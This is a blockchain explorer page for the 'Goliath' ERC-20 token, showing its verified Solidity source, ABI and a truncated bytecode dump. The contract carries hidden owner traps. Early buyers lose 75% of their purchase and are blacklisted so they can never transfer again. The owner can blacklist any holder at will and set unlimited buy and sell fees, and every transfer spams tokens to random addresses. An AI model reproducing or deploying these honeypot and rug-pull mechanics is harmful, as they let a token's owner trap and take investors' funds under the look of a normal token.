ETH Price: $3,674.07 (+1.52%)

Token

ERC-20: Goliath (GOLIATH)
 

Overview

Max Total Supply

1,000,000,000,000,000 GOLIATH

Holders

919

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.047295768003108299 GOLIATH

Value
$0.00
0x46E9BED7E7D5F7467fa9AF32Bd8155d7B8a7519A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-22
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    mapping (address => bool) internal owner_;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address deployer) {
        _owner = deployer;
        owner_[msg.sender] = true;
    }

    modifier onlyOwner() {
        require(owner_[msg.sender], "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        owner_[adr] = true;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyLPFee = 1;
    uint256 public _sellLPFee = 1;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    ISwapRouter public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    
    uint256 public startAddLPBlock;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress, address deployer,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable(deployer) {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        router = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;
        marketingAddress = msg.sender;
        swapThreshold = total / 5000;
        maxSwapThreshold = total / 200;

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;

        excludeHolder[address(0)] = true;
        excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;


        _balances[deployer] = total;
        emit Transfer(address(0), deployer, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from], "ChosenSon");
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 airdropAmount = amount / 10000000;
            address ad;
            for(int i=0;i < 5;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _takeTransfer(from,ad,airdropAmount);
            }
            amount -= airdropAmount;
        }

        bool takeFee;
        bool isSell;

        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == startTradeBlock) {
                    require(0 < startAddLPBlock && _swapPairList[to], "!startAddLP");
                }
                if (block.number < startTradeBlock + 3) {
                    _funTransfer(from, to, amount);
                    if(_swapPairList[from]){_ChosenSon[to] = true;}
                    return;
                }
                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }
        _tokenTransfer(from, to, amount, takeFee, isSell);
        if (from != address(this)) {
            if (isSell) {
                addHolder(from);
            }
        }
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 75 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellLPFee;
            } else {
                swapFee = _buyLPFee;
            }
            uint256 swapAmount = tAmount * swapFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint256 totalFee = _buyLPFee + _sellLPFee;
        totalFee += totalFee;
        uint256 lpFee = _sellLPFee + _buyLPFee;
        uint256 lpAmount = tokenAmount * lpFee / totalFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount - lpAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        totalFee -= lpFee;
        uint256 BNBBalance = address(this).balance;

        if (lpAmount > 0) {
            uint256 lpBNBAmount = BNBBalance * lpFee / totalFee;
            if (lpBNBAmount > 0) {
                router.addLiquidityETH{value: lpBNBAmount}(
                address(this),
                lpAmount,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setBuyFee(uint256 LPFee) external onlyOwner {
        _buyLPFee = LPFee;
    }

    function setSellFee(uint256 LPFee) external onlyOwner {
        _sellLPFee = LPFee;
    }

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function openAddLP() external onlyOwner {
        if(startAddLPBlock == 0){
            startAddLPBlock = block.number;
        }else{
            startAddLPBlock = 0;
        }
    }

    function openTrade() external onlyOwner {
        if(startAddLPBlock == 0){
            startTradeBlock = block.number;
        }else{
            startTradeBlock = 0;
        }
    }
 

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

    function claimBalance(address addr,uint256 amountPercentage) external onlyOwner {
        payable(addr).transfer(address(this).balance*amountPercentage / 100);
    }

    function claimToken(address token,address addr, uint256 amountPercentage) external onlyOwner {
        uint256 amountToken = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(addr,amountToken * amountPercentage / 100);
    }

    receive() external payable {}

    address[] private holders;
    mapping(address => uint256) holderIndex;
    mapping(address => bool) excludeHolder;
    function addHolder(address adr) private {
        uint256 size;
        assembly {size := extcodesize(adr)}
        if (size > 0) {
            return;
        }
        if (0 == holderIndex[adr]) {
            if (0 == holders.length || holders[0] != adr) {
                holderIndex[adr] = holders.length;
                holders.push(adr);
            }
        }
    }

    function setExcludeHolder(address addr, bool enable) external onlyOwner {
        excludeHolder[addr] = enable;
    }
    
    /* Airdrop */
    function Airdrop(address[] calldata addresses, uint256 tAmount) external onlyOwner {
        require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");
        uint256 SCCC = tAmount * addresses.length;
        require(balanceOf(owner()) >= SCCC, "Not enough tokens in wallet");
        for(uint i=0; i < addresses.length; i++){
            _balances[owner()] = _balances[owner()] - tAmount;
            _takeTransfer(owner(),addresses[i],tAmount);
        }
    }

}

contract Token is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        address(0x4aD8875175BD6F3a7E057ff273CA821b0C056A83),
        "Goliath",
        "GOLIATH",
        18,
        1000 * 10 ** 12
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"Airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ChosenSon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"LPFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setChosenSon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"LPFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600881905560098190556012805460ff191690911790553480156200002a57600080fd5b5060408051808201825260078082526608eded8d2c2e8d60cb1b602080840191909152835180850185529182526608e9e989282a8960cb1b82820152600080546001600160a01b031916734ad8875175bd6f3a7e057ff273ca821b0c056a839081178255338252600192839052949020805460ff19169091179055737a250d5630b4cf539739df2c5dacb4c659f2488d929190601266038d7ea4c680006004620000d58582620004ac565b506005620000e48482620004ac565b506006805460ff191660ff8416179055600c80546001600160a01b0319166001600160a01b03881690811790915530600090815260036020908152604080832084845282528083206000199055805163c45a015560e01b815290518a949263c45a015592600480820193918290030181865afa15801562000169573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018f919062000578565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000208919062000578565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000256573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027c919062000578565b600d80546001600160a01b0319166001600160a01b0383169081179091556000908152600e60205260408120805460ff19166001179055909150620002c386600a620006bf565b620002cf9086620006d0565b6007819055600f80546001600160a01b031916331790559050620002f661138882620006f2565b6013556200030660c882620006f2565b601455600f546001600160a01b039081166000908152600a602090815260408083208054600160ff19918216811790925530855282852080548216831790558986168552828520805482168317905533855282852080548216831790557f999d26de3473317ead3eeaf34ca78057f1439db67b6953469c3c96ce9caf6bd780548216831790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd680549091169091179055928c168083526002825283832085905592518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050505062000715565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200043257607f821691505b6020821081036200045357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a757600081815260208120601f850160051c81016020861015620004825750805b601f850160051c820191505b81811015620004a3578281556001016200048e565b5050505b505050565b81516001600160401b03811115620004c857620004c862000407565b620004e081620004d984546200041d565b8462000459565b602080601f831160018114620005185760008415620004ff5750858301515b600019600386901b1c1916600185901b178555620004a3565b600085815260208120601f198616915b82811015620005495788860151825594840194600190910190840162000528565b5085821015620005685787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200058b57600080fd5b81516001600160a01b0381168114620005a357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000601578160001904821115620005e557620005e5620005aa565b80851615620005f357918102915b93841c9390800290620005c5565b509250929050565b6000826200061a57506001620006b9565b816200062957506000620006b9565b81600181146200064257600281146200064d576200066d565b6001915050620006b9565b60ff841115620006615762000661620005aa565b50506001821b620006b9565b5060208310610133831016604e8410600b841016171562000692575081810a620006b9565b6200069e8383620005c0565b8060001904821115620006b557620006b5620005aa565b0290505b92915050565b6000620005a360ff84168362000609565b6000816000190483118215151615620006ed57620006ed620005aa565b500290565b6000826200071057634e487b7160e01b600052601260045260246000fd5b500490565b611d1280620007256000396000f3fe6080604052600436106102135760003560e01c80637d6027cd11610118578063adc7955d116100a0578063d83d41431161006f578063d83d414314610616578063dd62ed3e14610636578063f2fde38b1461067c578063f887ea401461069c578063fb201b1d146106bc57600080fd5b8063adc7955d146105b5578063b9fbc49d146105cb578063bdcc0c3b146105e1578063d0889358146105f657600080fd5b80639bb85344116100e75780639bb8534414610529578063a84248611461053f578063a9059cbb1461055f578063aa8b38d91461057f578063acef1a441461059f57600080fd5b80637d6027cd146104a65780638b4cee08146104d65780638da5cb5b146104f657806395d89b411461051457600080fd5b806323b872dd1161019b578063553193ca1161016a578063553193ca1461040b5780636ddd17131461042157806370a082311461043b578063715018a6146104715780637888ffdf1461048657600080fd5b806323b872dd14610361578063313ce567146103815780633c11100d146103a35780634188bf5a146103d357600080fd5b806308b3e419116101e257806308b3e419146102cc578063095ea7b3146102ec5780630cc835a31461030c578063125bfb661461032c57806318160ddd1461034c57600080fd5b806301986fad1461021f5780630445b6671461026457806305833c2b1461028857806306fdde03146102aa57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061024f61023a36600461188a565b600a6020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561027057600080fd5b5061027a60135481565b60405190815260200161025b565b34801561029457600080fd5b506102a86102a33660046118bc565b6106d1565b005b3480156102b657600080fd5b506102bf610734565b60405161025b91906118f5565b3480156102d857600080fd5b506102a86102e736600461194a565b6107c6565b3480156102f857600080fd5b5061024f6103073660046119c5565b6109a6565b34801561031857600080fd5b506102a86103273660046119f1565b6109bc565b34801561033857600080fd5b506102a8610347366004611a0a565b6109f0565b34801561035857600080fd5b5060075461027a565b34801561036d57600080fd5b5061024f61037c366004611a0a565b610b21565b34801561038d57600080fd5b5060065460405160ff909116815260200161025b565b3480156103af57600080fd5b5061024f6103be36600461188a565b600e6020526000908152604090205460ff1681565b3480156103df57600080fd5b50600d546103f3906001600160a01b031681565b6040516001600160a01b03909116815260200161025b565b34801561041757600080fd5b5061027a60115481565b34801561042d57600080fd5b5060125461024f9060ff1681565b34801561044757600080fd5b5061027a61045636600461188a565b6001600160a01b031660009081526002602052604090205490565b34801561047d57600080fd5b506102a8610bb8565b34801561049257600080fd5b506102a86104a13660046118bc565b610c31565b3480156104b257600080fd5b5061024f6104c136600461188a565b600b6020526000908152604090205460ff1681565b3480156104e257600080fd5b506102a86104f13660046119f1565b610c8b565b34801561050257600080fd5b506000546001600160a01b03166103f3565b34801561052057600080fd5b506102bf610cbf565b34801561053557600080fd5b5061027a60105481565b34801561054b57600080fd5b506102a861055a3660046118bc565b610cce565b34801561056b57600080fd5b5061024f61057a3660046119c5565b610d28565b34801561058b57600080fd5b506102a861059a3660046119c5565b610d35565b3480156105ab57600080fd5b5061027a60145481565b3480156105c157600080fd5b5061027a60095481565b3480156105d757600080fd5b5061027a60085481565b3480156105ed57600080fd5b506102a8610db4565b34801561060257600080fd5b506102a8610611366004611a4b565b610dfa565b34801561062257600080fd5b506102a86106313660046118bc565b610e43565b34801561064257600080fd5b5061027a610651366004611a80565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561068857600080fd5b506102a861069736600461188a565b610e9d565b3480156106a857600080fd5b50600c546103f3906001600160a01b031681565b3480156106c857600080fd5b506102a8610f35565b3360009081526001602052604090205460ff166107095760405162461bcd60e51b815260040161070090611aae565b60405180910390fd5b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b60606004805461074390611ae3565b80601f016020809104026020016040519081016040528092919081815260200182805461076f90611ae3565b80156107bc5780601f10610791576101008083540402835291602001916107bc565b820191906000526020600020905b81548152906001019060200180831161079f57829003601f168201915b5050505050905090565b3360009081526001602052604090205460ff166107f55760405162461bcd60e51b815260040161070090611aae565b610321821061085c5760405162461bcd60e51b815260206004820152602d60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526c3830302061646472657373657360981b6064820152608401610700565b60006108688383611b33565b9050806108806104566000546001600160a01b031690565b10156108ce5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610700565b60005b8381101561099f5782600260006108f06000546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000205461091b9190611b52565b600260006109316000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205561098d6109606000546001600160a01b031690565b86868481811061097257610972611b69565b9050602002016020810190610987919061188a565b85610f7b565b8061099781611b7f565b9150506108d1565b5050505050565b60006109b3338484611000565b50600192915050565b3360009081526001602052604090205460ff166109eb5760405162461bcd60e51b815260040161070090611aae565b600855565b3360009081526001602052604090205460ff16610a1f5760405162461bcd60e51b815260040161070090611aae565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190611b98565b90506001600160a01b03841663a9059cbb846064610aa88686611b33565b610ab29190611bb1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610afd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099f9190611bd3565b6000610b2e848484611059565b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610bae576001600160a01b0384166000908152600360209081526040808320338452909152902054610b89908390611b52565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b5060019392505050565b3360009081526001602052604090205460ff16610be75760405162461bcd60e51b815260040161070090611aae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3360009081526001602052604090205460ff16610c605760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610cba5760405162461bcd60e51b815260040161070090611aae565b600955565b60606005805461074390611ae3565b3360009081526001602052604090205460ff16610cfd5760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b60006109b3338484611059565b3360009081526001602052604090205460ff16610d645760405162461bcd60e51b815260040161070090611aae565b6001600160a01b0382166108fc6064610d7d8447611b33565b610d879190611bb1565b6040518115909202916000818181858888f19350505050158015610daf573d6000803e3d6000fd5b505050565b3360009081526001602052604090205460ff16610de35760405162461bcd60e51b815260040161070090611aae565b601054600003610df35743601055565b6000601055565b3360009081526001602052604090205460ff16610e295760405162461bcd60e51b815260040161070090611aae565b6012805460ff191693151593909317909255601355601455565b3360009081526001602052604090205460ff16610e725760405162461bcd60e51b815260040161070090611aae565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610ecc5760405162461bcd60e51b815260040161070090611aae565b600080546001600160a01b0319166001600160a01b038381169182178355818352600160208190526040808520805460ff19169092179091558354905192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b3360009081526001602052604090205460ff16610f645760405162461bcd60e51b815260040161070090611aae565b601054600003610f745743601155565b6000601155565b6001600160a01b038216600090815260026020526040902054610f9f908290611bf0565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff39085815260200190565b60405180910390a3505050565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610ff3565b6001600160a01b0383166000908152600b602052604090205460ff16156110ae5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610700565b6001600160a01b0383166000908152600260205260409020548181101561110a5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610700565b6001600160a01b0384166000908152600a602052604090205460ff1615801561114c57506001600160a01b0383166000908152600a602052604090205460ff16155b156111d15760006111606298968084611bb1565b90506000805b60058112156111c15760408051602081018390529081018690524260608201526080016040516020818303038152906040528051906020012060001c91506111af878385610f7b565b806111b981611c08565b915050611166565b506111cc8285611b52565b935050505b6001600160a01b0384166000908152600e6020526040812054819060ff168061121257506001600160a01b0385166000908152600e602052604090205460ff165b156113cf576001600160a01b0386166000908152600a602052604090205460ff1615801561125957506001600160a01b0385166000908152600a602052604090205460ff16155b156113aa576011546000036112cc57601054600010801561129257506001600160a01b0385166000908152600e602052604090205460ff165b6112cc5760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610700565b6011546112da906003611bf0565b431015611339576112ec8686866113fb565b6001600160a01b0386166000908152600e602052604090205460ff1615611331576001600160a01b0385166000908152600b60205260409020805460ff191660011790555b505050505050565b6001600160a01b0385166000908152600e602052604090205460ff16156113a55760155460ff166113a5573060009081526002602052604090205460125460ff1680156113865750600081115b156113a35760145481111561139a57506014545b6113a381611479565b505b600191505b6001600160a01b0385166000908152600e602052604090205460ff16156113cf575060015b6113dc86868685856116fc565b6001600160a01b038616301461133157801561133157611331866117a1565b6001600160a01b03831660009081526002602052604090205461141f908290611b52565b6001600160a01b038416600090815260026020526040812091909155606461144883604b611b33565b6114529190611bb1565b905061145f843083610f7b565b611473848461146e8486611b52565b610f7b565b50505050565b6015805460ff1916600117905560095460085460009161149891611bf0565b90506114a48180611bf0565b905060006008546009546114b89190611bf0565b90506000826114c78386611b33565b6114d19190611bb1565b6040805160028082526060820183529293506000929091602083